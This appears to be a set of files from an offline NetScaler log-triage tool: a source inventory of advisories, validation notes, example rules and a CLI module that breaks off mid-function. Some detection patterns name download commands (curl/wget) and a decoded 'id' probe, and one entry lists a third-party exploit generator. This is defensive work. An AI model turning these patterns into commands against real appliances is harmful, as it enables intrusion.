arctic-wolf
arctic-wolf
https://raw.githubusercontent.com/rtkwlf/wolf-tools/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771/README.md
Published: 2026-09-30; retrieved: 2026-10-01T19:44:37.039386+00:00
Requested URL: False; detection use: True
Linked IOC IDs: 37; linked Sigma rule IDs: 5
Direct HTTP retrieval successful; attacker resources were not requested.
sygnia
sygnia
https://www.sygnia.co/threat-reports-and-advisories/actively-exploited-netscaler-vulnerabilities/
Published: 2026-09-30; retrieved: 2026-10-01T19:44:37.039387+00:00
Requested URL: True; detection use: True
Linked IOC IDs: 15; linked Sigma rule IDs: 3
Direct HTTP retrieval successful; attacker resources were not requested.
CITRIX-CTX697096
NetScaler security bulletin CTX697096
https://support.citrix.com/external/article/CTX697096/citrix-netscaler-adc-and-citrix-netscaler-gateway-security-bulletin-for-cve202688771-and-cve202688772.html
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Canonical article accessible; attachment query-form URL failed. Authoritative fixed builds and exposure preconditions; no public attack IOC list. CVE-88778 additionally requires the Enhanced ISN configuration change. Configuration exposure is not compromise evidence.
CITRIX-SECURITY-BLOG-20260930
NetScaler security guidance, updated September 30
https://community.citrix.com/techzone-blogs/110_security-updates/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve-2026-88771-through-cve-2026-88778/
Published: 2026-09-27; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Official article updated 2026-09-30. IOC logic available via Console/Support, not published here. Patching does not establish cleanup; rebuild when compromise is suspected. 13.1-64.24 avoids the documented 64.23 reboot issue where NS variables exist. Reader comments are not vendor IOC statements and are excluded.
CITRIX-CTX694799
Steps after suspected NetScaler compromise
https://support.citrix.com/external/article/CTX694799/steps-to-take-if-netscaler-adc-is-suspec.html
Published: 2025-06-25; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Preserve disk, logs and memory; record timezone/NTP; isolate; rotate exposed credentials and revoke certificates/private keys; investigate connected systems; rebuild. Packet-engine core generation triggers warm restart. Not a passive log-detection signature. Canonical support listing records modification 2026-05-13.
NETSCALER-CONSOLE-IOC
Console indicators-of-compromise detection
https://docs.netscaler.com/en-us/netscaler-console-service/instance-advisory/ioc.html
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Telemetry required; BLX unsupported. Scan history and detection-logic updates are retained. No Compromise Detected is limited to current checks; failed/skipped scans are not negative findings. Detection internals absent; no invented equivalent rules.
NETSCALER-FIM
File integrity monitoring
https://docs.netscaler.com/en-us/netscaler-console-service/instance-advisory/file-integrity-monitoring.html
Published: 2026-09-07; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Compares same-build vendor hashes against appliance files; distinguishes modified and added files and scan errors. BLX unsupported. A local log archive cannot reproduce vendor binary-baseline verification, exclusions, ownership/runtime checks or live device signatures.
NETSCALER-CONSOLE-RELEASES
Console service release notes
https://docs.netscaler.com/en-us/netscaler-console-service/release-notes/whats-new.html
Published: 2026-09-27; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
September 27 entry identifies CVE-88771 exposure through version scanning and recommends upgrade. Version-based exposure detection is separate from compromise detection and exact historical patch timing.
NEXTRON-20260929
THOR NetScaler detection coverage
https://www.nextron-systems.com/2026/09/29/new-thor-detection-coverage-for-citrix-netscaler-cve-2026-88771-and-cve-2026-88772/
Published: 2026-09-29; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Article explicitly withholds rule matching strings/implementation. Its filesystem IOC subset covers 12 checks consolidated into four definitions; 22 checks requiring logs/config/process/ownership/permissions/runtime context are omitted. PoC file detection is not proof of exploitation. No undisclosed rules reconstructed.
CERTFR-2026-ALE-011
CERT-FR NetScaler alert
https://cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-011/
Published: 2026-09-28; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 0; linked Sigma rule IDs: 3
Updated September 30. Reproduces Google DTLS/packet-engine hunting patterns and links YARA. Explicitly says ANSSI has not independently qualified them. Preserve original Google provenance and avoid counting duplicated patterns as independent confirmations.
CIRCL-TR100
CIRCL NetScaler critical vulnerabilities
https://circl.lu/pub/tr-100/
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Accessible public advisory. Configuration prerequisites, version recommendations, forensic preservation, external SIEM logs and investigation of outbound/internal activity. No additional concrete attack addresses/hashes or detection implementation imported.
ACSC-NETSCALER-20260930
ACSC NetScaler advisory
https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/critical-vulnerabilities-in-citrix-netscaler-adc-and-citrix-netscaler-gateway-products
Published: 2026-09-28; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Updated September 30: investigate back to at least September 4, 2026. This is a minimum lookback, not proof earlier compromise was impossible. Updated introduction reports Australian exploitation; older background wording still says none reported, so retain update precedence. No public literal IOC table.
watchtowr-dtls
watchTowr DTLS analysis
https://labs.watchtowr.com/here-we-go-again-citrix-netscaler-dtls-preauth-memory-overflow-cve-2026-88772/
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Packet fragmentation/ROP and memory corruption need packet/core evidence; no packet exploit logic is converted to a log success verdict.
watchtowr-repo
watchTowr artifact generator repository
https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 2; linked Sigma rule IDs: 1
Read source only. Active command injection generator, not a passive scanner. Example output paths classified as PoC markers.
poppelgaard
Community CTX697096 checker
https://github.com/ThomasPoppelgaard/netscaler-ctx697096-checker
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 143; linked Sigma rule IDs: 3
Read script only. Retain attributed infrastructure and scanner lists separately; community compromise labels are not adopted as local verdicts.
technion
Community NetScaler scanner
https://github.com/technion/netscaler_scanner
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 3; linked Sigma rule IDs: 0
Read source only. Adds author-reported theme webshell paths. Mandiant-derived checks keep original attribution. Build-only CVE-88778 conclusion is not imported.
deyda-guide
Community assessment guide
https://www.deyda.net/index.php/en/2026/08/28/netscaler-cve-checklist-updates-security-assessment-and-incident-response/
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Guide and corrected current script reviewed; no script executed. Known-clean platform hashes and normal diagnostic paths are not attack IOCs.
deyda-requested-script
Requested community script path
https://github.com/Deyda/Security/blob/main/netscaler-ioc-check.sh
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Requested path unavailable (raw equivalent HTTP404). Repository tree identifies deyda-netscaler-ioc-check.sh as current filename.
deyda-script
Current community assessment script
https://raw.githubusercontent.com/Deyda/Security/main/deyda-netscaler-ioc-check.sh
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: True
Linked IOC IDs: 7; linked Sigma rule IDs: 3
Corrected filename discovered from repository tree. Read source only; no copied scanner execution or known-good hash import.
ncsc-nl-2025
NCSC-NL historical forensic checks
https://github.com/NCSC-NL/citrix-2025
Published: 2025-08-06; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 22; linked Sigma rule IDs: 2
2025 campaign, not evidence of 2026 CVE coverage. Extracted string observables; binary ROP, image metadata, timestomping, permissions and live checks remain external.
fox-it
Fox-IT forensic image triage
https://github.com/fox-it/citrix-netscaler-triage
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: True
Linked IOC IDs: 0; linked Sigma rule IDs: 1
Read implementation. Core utility needs disk and RAM-disk evidence; string heuristics adapted with PHP context only. Expected SUID binaries are not attack IOCs.
poppelgaard-script
Reviewed source component: poppelgaard-script
https://raw.githubusercontent.com/ThomasPoppelgaard/netscaler-ctx697096-checker/main/ctx697096_check.sh
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
technion-script
Reviewed source component: technion-script
https://raw.githubusercontent.com/technion/netscaler_scanner/main/mandiant-scanner.sh
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
fox-ioc
Reviewed source component: fox-ioc
https://raw.githubusercontent.com/fox-it/citrix-netscaler-triage/main/iocitrix.py
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
ncsc-checks
Reviewed source component: ncsc-checks
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/disk-image-checks/checks.yaml
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
ncsc-core-yara
Reviewed source component: ncsc-core-yara
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/core-dump-checks/iocs.yar
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
ncsc-live
Reviewed source component: ncsc-live
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/live-host-bash-check/TLPCLEAR_check_script_cve-2025-6543-v1.8.sh
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
watch-poc
Reviewed source component: watch-poc
https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771/main/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Read-only source supporting parent repository review.
ncsc-php_webshell_rules.yara
NCSC-referenced general webshell YARA collection
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/disk-image-checks/yara/php_webshell_rules.yara
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Generic multi-platform historical webshell library, not campaign-specific NetScaler log rules. Indexed for external file/core scanning; no misleading line-by-line Sigma conversion.
ncsc-thor-webshells.yar
NCSC-referenced general webshell YARA collection
https://raw.githubusercontent.com/NCSC-NL/citrix-2025/main/disk-image-checks/yara/thor-webshells.yar
Published: not established; retrieved: 2026-10-01
Requested URL: False; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Generic multi-platform historical webshell library, not campaign-specific NetScaler log rules. Indexed for external file/core scanning; no misleading line-by-line Sigma conversion.
requested-77a190a3
requested-77a190a3
https://github.com/elastic/detection-rules/blob/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Exact requested URL retained for audit; see linked alternate retrievals.
requested-7e6e5286
requested-7e6e5286
https://github.com/rtkwlf/wolf-tools/blob/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771/README.md
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Exact requested URL retained for audit; see linked alternate retrievals.
requested-f8052bbe
requested-f8052bbe
https://support.citrix.com/external/article?articleNumber=CTX697096
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Exact requested URL retained for audit; see linked alternate retrievals.
requested-6c93ceb2
requested-6c93ceb2
https://www.elastic.co/guide/en/security/8.19/potential-netscaler-log-poisoning-command-injection-attempt.html
Published: not established; retrieved: 2026-10-01
Requested URL: True; detection use: False
Linked IOC IDs: 0; linked Sigma rule IDs: 0
Unavailable or not verified; no indicator invented.
REPRODUCIBLE CHECKS
uv run python -W error -m unittest discover -s tests
uv run mypy
uv run ruff check src tests typing_stubs
The tests verify catalog uniqueness and source links, raw and decoded matches,
IP boundaries and preservation of encoding evidence. They do not establish
the truth of every vendor attribution or successful exploitation of a device.
+133
View File
@@ -0,0 +1,133 @@
VALIDATION SCOPE
CPython 3.14.8 on macOS/ARM64. Windows and Linux were not executed in this
validation environment. Synthetic path checks do not replace target-OS tests.
CODE AUDIT
134 tests passed with Python warnings treated as errors in 36.475 seconds.
Strict mypy passed for 35 source files. Ruff lint and format checks passed for
36 files. The enabled
lint families are E, F, I, UP, B, SIM, RUF and PERF; this is not a claim that every
optional rule from every analyzer is enabled.
Reproduce from the source directory:
uv sync --locked
uv run python -W error -m unittest discover -s tests
uv run mypy
uv run ruff check src tests typing_stubs
uv run ruff format --check src tests typing_stubs
Tests cover archive preparation, encrypted and nested archives, original file
preservation, multi-appliance parsing, time ambiguity, update evidence, bounded
decoding, defanging, rule packs, correlations, incomplete results, interruption
and release hygiene. Sigma tests exercise supported semantics, decoded views,
explicit unsupported-feature rejection and local matching limits.
A separate sequential CLI matrix passed all 21 invocations with warnings fatal:
common and advanced help, scan/extract/decode/indicators/inventory, JSON output,
implicit folder and archive inputs, current-folder discovery of multiple
archives, encrypted 7z input, URL decoding and Base64 decoding.
RELEASE INSTALLATION
A wheel and source distribution were built. Locked runtime requirements were
exported with hashes and installed into a fresh virtual environment outside the
source tree, followed by the wheel without dependency resolution. Installed-package
verification is repeated after changes to code or bundled intelligence. Source
metadata is included so the packaging allowlist test remains active.
CLI help, bundled Sigma matching and the 246-entry public IOC catalog passed.
The wheel includes 47 public Sigma rules and the attributed public reference
catalog. Private packs are opt-in, gitignored and excluded from both release
formats. Artifact inventories and text contents were checked for private
case indicators, identities, home paths, logs, evidence and runtime directories.
Tests and examples use synthetic documentation addresses.
Runtime versions checked: pySigma 1.5.1, regex 2026.9.29, PyYAML 6.0.3,
py7zr 1.1.3, pyzipper 0.4.0, rich 15.0.0, rich-argparse 1.8.0, tzdata 2026.4.
The lockfile records all dependency versions.
INTERPRETING RESULTS
No private incident data is required to run these software tests. Independent
real-dataset findings are retained in separate customer case folders in their
BERICHT.txt reports, outside this shared tool and its release.
Original inputs are hashed before and after analysis. Forensic coverage limits
are retained even when software tests and code checks pass: binary logs,
ambiguous timestamps, invalid UTF-8 and failed decoding are not silently fixed.
A match, decoded command or correlation is not proof of execution or compromise.
Passing software tests does not establish investigation completeness. The local
Sigma evaluator implements the subset documented in RULES.txt, not every Sigma
feature or a Splunk query exporter.
Scanning is sequential with buffered input/output, bounded decoding caches and
an approximately 8 MiB SQLite page cache. File inventory, archive metadata,
custom rule packs and result volume still affect total process memory. There
is no hard process-wide CPU or RAM quota and no automatic parallel worker pool.
INTELLIGENCE REFRESH CHECKS
All 37 requested public URLs were retrieved or attempted and recorded, including
access errors, application-only responses and verified alternate source URLs.
The inventory has 52 sources, 246 unique indicators and 41 behavior patterns,
expressed as 47 Sigma rules. All source/indicator/rule joins are checked.
Every catalog indicator has a literal positive test; 245 have raw and decoded
Sigma positives. The legitimate customsnmpd pathname is deliberately excluded
from standalone Sigma matching and retains its contextual catalog occurrence.
All IPv4 values are checked against prefix/suffix overmatching. HTTP tests cover
percent encoding, Base64, no padding, nesting, Referer and additional headers.
Original raw text and decoding spans remain verified.
The preceding frozen baseline completed two independent real datasets: 2,405
files and 4,043,139 records, with every original/reference hash preserved. That
full run predates this intelligence refresh and decoding-gate change. Its counts
and timings must not be presented as a full-run test of the updated rule pack.
Updated bounded real-data findings are retained in the corresponding customer
BERICHT.txt reports. Temporary verification outputs are not required runtime inputs.
A separate frozen-baseline, warm-cache repeated-sample experiment used the same
30,720 records per mode: one/two/four processes took 12.555/6.230/3.913 seconds.
All twelve per-job outputs were semantically equivalent. Four processes used a
conservative aggregate peak sum of 262.9 MiB. This is a throughput experiment,
not an implemented parallel scanner, hard memory cap or full-archive forecast.
The final gate also checks every public IOC encoded as padded and unpadded
Base64, including all-uppercase tokens and four-character encodings. Canonical
short/full-field decoding requires a printable UTF-8 roundtrip and is bounded
to 4-4096 characters. This does not attempt to decode every ordinary word.
PREVIOUS INSTALLATION AND RUNTIME SMOKE CHECK
The previous installed wheel passed all 106 tests with warnings treated as errors
in 28.839 seconds in a fresh environment outside the source tree. Locked
runtime installation used 33 dependencies. CLI help, default Sigma matching and
uppercase-only Base64 decoding passed. After relocating the interpreter into
the shared tool directory, the same 106 tests passed in 29.001 seconds and CLI
help passed again. Python imports and module paths no longer depend on an
obsolete analysis checkout. These checks validate software operation, not
customer-specific compromise conclusions.
EXTENSIBLE RULE PACK REGRESSION
The current source passes 134 tests, including recursive pack loading, offline
validation, typed indicator boundaries, overlapping references, contextual Sigma
conditions, numeric selectors, limits and encoded command probes. Catalog
metadata cannot bypass a Sigma condition. The release was rebuilt after these
changes. The older installed-wheel result above is not a test of this revision.
A bounded private regression verified 19,625 original referenced log lines from
two separate investigations, including all 94 recorded finding families in the
earlier investigation. Public-rule matching completed without matching errors.
The case-IOC run recorded one literal matching timeout; an independent retry of
that original record completed with a finding and no matching error. The initial
partial coverage remains recorded; decoding-candidate errors are reported
separately and are not silently treated as successful decoding.
The bounded regression is not a repeat of the earlier full 4,043,139-record run.
A subsequent Unicode literal-lookup guard has synthetic regression coverage,
but the entire private fixture set was not rerun after that guard. These checks
validate known examples and important negative cases, not zero false positives
or complete detection of all future attacks. Private evidence is not shipped.
File diff suppressed because it is too large. Load diff
+17
View File
@@ -0,0 +1,17 @@
{
"sources": [
{"id": "synthetic_example", "title": "Documentation examples, not threat intelligence"}
],
"patterns": [
{
"id": "example_download_command",
"pattern": "(?i)\\b(?:curl|wget)\\s+https?://",
"description": "A download command appears in the log. Check its destination, arguments and execution evidence; legitimate administration can match.",
"source": "synthetic_example"
}
],
"indicators": [
{"type": "ipv4", "value": "192.0.2.42", "status": "reference_only", "source": "synthetic_example"},
{"type": "domain", "value": "triage-demo.example.invalid", "status": "reference_only", "source": "synthetic_example"}
]
}
+23
View File
@@ -0,0 +1,23 @@
title: NetScaler Encoded Diagnostic Command In Request Context
id: 34bd2f41-877e-4e16-91a5-4aeb62dddc21
name: example_decoded_diagnostic_command
status: experimental
description: >-
Synthetic example matching a decoded identity command in an HTTP request.
A match does not prove execution and authorized diagnostics can match.
author: NetScaler Triage contributors
references:
- https://sigmahq.io/sigma-specification/specification/sigma-rules-specification.html
logsource:
product: netscaler
service: http_access
detection:
selection:
uri|startswith: /vpn/
raw|re: '^id$'
excluded:
uri|contains: /health
condition: selection and not excluded
falsepositives:
- Authorized security tests and administrative diagnostics.
level: low
+5
View File
@@ -0,0 +1,5 @@
{
"year": 2026,
"timezones": {"ADC-A": "UTC"},
"file_years": {"ADC-A/messages.previous": 2025}
}
+60
View File
@@ -0,0 +1,60 @@
[build-system]
requires = ["hatchling>=1.27"]
build-backend = "hatchling.build"
[project]
name = "netscaler-triage"
version = "1.0.0"
description = "Offline NetScaler evidence analysis with inspectable decoding and provenance"
readme = "README.md"
license = "MIT"
license-files = ["LICENSE.txt"]
requires-python = ">=3.14"
dependencies = [
"py7zr>=1.0",
"regex>=2025.11",
"tzdata>=2025.2",
"rich>=14.1",
"rich-argparse>=1.7",
"pyzipper>=0.3.6",
"pysigma>=1.5.1",
]
[project.scripts]
netscaler-triage = "netscaler_triage.cli:main"
[tool.hatch.build.targets.wheel]
packages = ["src/netscaler_triage"]
[tool.hatch.build.targets.sdist]
include = ["src/", "tests/", "typing_stubs/", "examples/", "config/threat_intel.json", "README.md", "README.txt", "RULES.txt", "VALIDATION.txt", "THREAT_INTELLIGENCE.txt", "LICENSE.txt", "uv.lock", ".python-version", ".gitignore", "pyproject.toml"]
[dependency-groups]
dev = [
"mypy>=2.3.1",
"ruff>=0.14",
"types-pyyaml>=6.0.12.20260906",
"types-regex>=2026.9.10.20260911",
]
[tool.ruff]
line-length = 100
target-version = "py314"
[tool.ruff.lint]
select = ["E", "F", "I", "UP", "B", "SIM", "RUF", "PERF"]
[tool.mypy]
strict = true
warn_unreachable = true
mypy_path = "typing_stubs"
python_version = "3.14"
files = ["src", "tests"]
check_untyped_defs = true
disallow_untyped_defs = true
warn_return_any = true
warn_unused_ignores = true
warn_redundant_casts = true
strict_equality = true
no_implicit_optional = true
pretty = true
+3
View File
@@ -0,0 +1,3 @@
"""Offline analysis; no discovered payload is ever executed."""
__version__ = "1.0.0"
+3
View File
@@ -0,0 +1,3 @@
from .cli import main
raise SystemExit(main())
+457
View File
@@ -0,0 +1,457 @@
"""CLI for evidence preparation, search, safe decoding and IOC extraction."""
from __future__ import annotations
import argparse
import getpass
import json
import os
import sys
from datetime import UTC, datetime
from pathlib import Path
from typing import Any, Never
from uuid import uuid4
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
from rich.text import Text
from rich_argparse import ArgumentDefaultsRichHelpFormatter
from .config_loading import ConfigError, load_config, load_configs
from .decoding import decode_layers
from .engine import dump, scan, validate_output
from .indicators import extract_indicators
from .ingest import extract_archive, inventory
from .preparation import PreparationEntry, prepare_inputs
class Parser(argparse.ArgumentParser):
"""Consistent rich help and actionable argument errors for every subcommand."""
def __init__(self, *args: Any, **kwargs: Any) -> None:
kwargs.setdefault("formatter_class", ArgumentDefaultsRichHelpFormatter)
super().__init__(*args, **kwargs)
def error(self, message: str) -> Never:
Console(stderr=True).print(
Panel(Text(message), title="Invalid arguments", border_style="red")
)
self.exit(2, f"Run '{self.prog} --help' for options and examples.\n")
def display_result(result: object, json_output: bool = False) -> None:
"""Keep redirected stdout machine-readable; format interactive summaries with Rich."""
console = Console()
if json_output or not console.is_terminal:
print(json.dumps(result, ensure_ascii=False, indent=2))
elif isinstance(result, dict) and "counts" in result:
table = Table(title="NetScaler triage results", header_style="bold cyan")
table.add_column("Metric")
table.add_column("Value", justify="right")
for key in ("status", "files", "duration_seconds", "integrity"):
table.add_row(key.replace("_", " ").title(), Text(str(result.get(key, "unknown"))))
for key, value in result["counts"].items():
table.add_row(key.replace("_", " ").title(), str(value))
console.print(table)
console.print(
"Use --json for all fields. Review summary.json for coverage and warnings.", style="dim"
)
else:
console.print_json(data=result, ensure_ascii=False)
def assignment(value: str) -> tuple[str, str]:
name, separator, target = value.partition("=")
if not separator or not name or not target or "/" in name or "\\" in name:
raise argparse.ArgumentTypeError("Expected NAME=VALUE with a unique appliance name")
return name, target
def fresh_destination(parent: Path, label: str) -> Path:
"""Choose a new sibling directory without placing results inside evidence."""
stamp = datetime.now(UTC).strftime("%Y%m%d-%H%M%S")
return parent / f"{label}-{stamp}-{uuid4().hex[:6]}"
def main(argv: list[str] | None = None) -> int:
argv = list(sys.argv[1:] if argv is None else argv)
if not argv:
argv = ["scan"]
elif argv[0] not in {
"scan",
"extract",
"decode",
"indicators",
"inventory",
"rules",
"--help",
"-h",
}:
argv.insert(0, "scan")
advanced_help = "--help-all" in argv
parser = Parser(
description=(
"Offline NetScaler triage: search logs, inspect decoding and trace "
"evidence without executing payloads."
),
epilog=(
"Quick start: netscaler-triage logs.7z | netscaler-triage ./logs | "
"netscaler-triage (current folder). Add --password for a hidden "
"password prompt. Use scan --help-all for advanced options."
),
)
commands = parser.add_subparsers(dest="command", required=True)
scan_parser = commands.add_parser(
"scan", help="Search multiple appliance log directories with patterns and indicators"
)
scan_parser.add_argument(
"folders",
nargs="*",
type=Path,
metavar="LOG_FOLDER",
help="Log folders or archives; omit to use the current directory",
)
scan_parser.add_argument(
"--input", action="append", type=assignment, default=[], metavar="NAME=DIRECTORY"
)
scan_parser.add_argument("--output", type=Path)
scan_parser.add_argument(
"--config",
action="append",
type=Path,
default=[],
metavar="FILE_OR_DIRECTORY",
help="Explicit rule file or directory of packs (recursive); repeat to combine",
)
scan_parser.add_argument("--pattern", action="append", default=[])
scan_parser.add_argument("--ioc-file", action="append", type=Path, default=[])
scan_parser.add_argument(
"--time-config",
type=Path,
help="JSON configuration with timezones, year and per-file year overrides",
)
scan_parser.add_argument("--timezone", action="append", type=assignment, default=[])
scan_parser.add_argument("--year", type=int)
scan_parser.add_argument("--no-default-patterns", action="store_true")
scan_parser.add_argument(
"--extract-all",
action="store_true",
help="Store every record and its extracted observable candidates",
)
scan_parser.add_argument("--regex-timeout", type=float, default=0.05)
scan_parser.add_argument("--window", type=int, default=120)
scan_parser.add_argument("--max-line-bytes", type=int, default=1048576)
scan_parser.add_argument("--max-file-bytes", type=int, default=536870912)
scan_parser.add_argument("--max-bytes", type=int, default=2147483648)
scan_parser.add_argument("--max-files", type=int, default=100000)
scan_parser.add_argument("--max-depth", type=int, default=3)
scan_parser.add_argument(
"--password",
nargs="?",
const=True,
help="Archive password; omit its value for a hidden prompt",
)
extract = commands.add_parser(
"extract", help="Safely extract a 7z, ZIP or TAR archive into a new directory"
)
extract.add_argument("source", type=Path)
extract.add_argument("destination", type=Path, nargs="?")
extract.add_argument("--max-bytes", type=int, default=2147483648)
extract.add_argument("--max-files", type=int, default=100000)
extract.add_argument("--max-depth", type=int, default=3)
extract.add_argument(
"--password",
nargs="?",
const=True,
help="Archive password; omit its value for a hidden prompt",
)
for name in ("decode", "indicators"):
sub = commands.add_parser(
name, help="Inspect a UTF-8 file: decode safely or extract observable candidates"
)
sub.add_argument("file", type=Path)
sub.add_argument("--max-bytes", type=int, default=1048576)
rules_parser = commands.add_parser(
"rules", help="Validate and compile selected rule packs without scanning logs"
)
rules_parser.add_argument(
"--config",
action="append",
type=Path,
default=[],
metavar="FILE_OR_DIRECTORY",
help="Explicit rule file or directory; repeat to combine packs",
)
rules_parser.add_argument("--no-default-patterns", action="store_true")
rules_parser.add_argument("--regex-timeout", type=float, default=0.05)
inv = commands.add_parser(
"inventory", help="Create a SHA-256 inventory with paths relative to the input root"
)
inv.add_argument("root", type=Path)
descriptions = {
"input": "Appliance name and log directory; repeat for multiple appliances",
"output": "Where to save results; by default, create a new folder beside the logs",
"config": "Sigma YAML, JSON rules or legacy CSV; repeat to combine rule packs",
"pattern": "Additional regular expression; repeat to add patterns",
"ioc_file": "Indicator JSON/CSV or a text file with one literal per line",
"timezone": "NAME=IANA_ZONE, for example ADC=Europe/Berlin; repeat per appliance",
"year": "Explicit year assumption for timestamps without a year",
"no_default_patterns": (
"Disable built-in patterns and bundled public IOCs; keep update detection"
),
"regex_timeout": "Maximum seconds per regex search before aborting",
"window": "Maximum time gap in seconds for correlation candidates",
"max_line_bytes": "Maximum expanded bytes per log line",
"max_file_bytes": "Maximum expanded bytes per log file",
"source": "Source archive; originals are never overwritten",
"destination": "Optional new directory; by default, create one beside the archive",
"max_bytes": "Maximum input or total extracted bytes",
"max_files": "Maximum archive entries across nested archives",
"max_depth": "Maximum nested archive depth",
"file": "UTF-8 input file to inspect without executing its contents",
"root": "Log directory to inventory recursively",
}
examples = {
"scan": (
"Example: netscaler-triage scan ./logs\nBuilt-in patterns, safe "
"decoding, update detection and correlation run automatically. Missing "
"timestamp information is left unknown, not guessed."
),
"extract": "Example: netscaler-triage extract logs.7z",
"decode": "Example: netscaler-triage decode payload.txt --json",
"indicators": "Example: netscaler-triage indicators payload.txt --json",
"rules": "Example: netscaler-triage rules --config ./my-rules --json",
"inventory": "Example: netscaler-triage inventory logs --json",
}
for name, subparser in commands.choices.items():
subparser.epilog = examples[name]
for action in subparser._actions:
if action.help is None:
action.help = descriptions.get(action.dest)
subparser.add_argument(
"--json",
action="store_true",
help="Emit plain JSON, including in an interactive terminal",
)
subparser.add_argument("--help-all", action="help", help="Show all advanced options")
if not advanced_help:
visible = {
"help",
"help_all",
"folders",
"output",
"pattern",
"config",
"ioc_file",
"source",
"destination",
"file",
"root",
"password",
}
for action in subparser._actions:
if action.dest not in visible:
action.help = argparse.SUPPRESS
args = parser.parse_args(argv)
result: object
try:
if args.command == "rules":
from .matching import Matcher
configs = load_configs(args.config)
try:
matcher = Matcher(
configs, timeout=args.regex_timeout, defaults=not args.no_default_patterns
)
except (ValueError, TypeError) as exc:
raise ConfigError(f"Rule validation failed: {exc}") from exc
result = {
"status": "valid",
"selected_pack_files": len(configs),
"defaults_enabled": not args.no_default_patterns,
"sigma_rules": sum(len(pack.rules) for pack in matcher.sigma_matchers),
"regex_rules": len(matcher.rules),
"explicit_active_indicators": sum(
row.get("type") != "regex" for row in matcher.indicators
),
}
display_result(result, args.json)
return 0
if args.command == "scan":
inputs = [(name, Path(path)) for name, path in args.input]
inputs.extend((path.resolve().name, path) for path in args.folders)
if not inputs:
inputs = [(Path.cwd().name, Path.cwd())]
if args.input and len({name for name, _ in inputs}) != len(inputs):
scan_parser.error(
"Folders have matching appliance names. Use --input NAME=DIRECTORY to "
"give each a unique name."
)
if args.output is None:
try:
shared = Path(os.path.commonpath([path.resolve() for _, path in inputs]))
output_parent = shared.parent
except ValueError:
# Inputs on different Windows drives have no common parent.
output_parent = Path.cwd()
args.output = fresh_destination(output_parent, "triage-results")
validate_output(args.output, [(str(i), path) for i, (_, path) in enumerate(inputs)])
configs = load_configs(args.config + args.ioc_file)
configs.append(
{
"patterns": [
{"id": f"custom_{i}", "pattern": p} for i, p in enumerate(args.pattern)
]
}
)
times = load_config(args.time_config) if args.time_config else {}
password = (
getpass.getpass("Archive password: ") if args.password is True else args.password
)
prepared = None
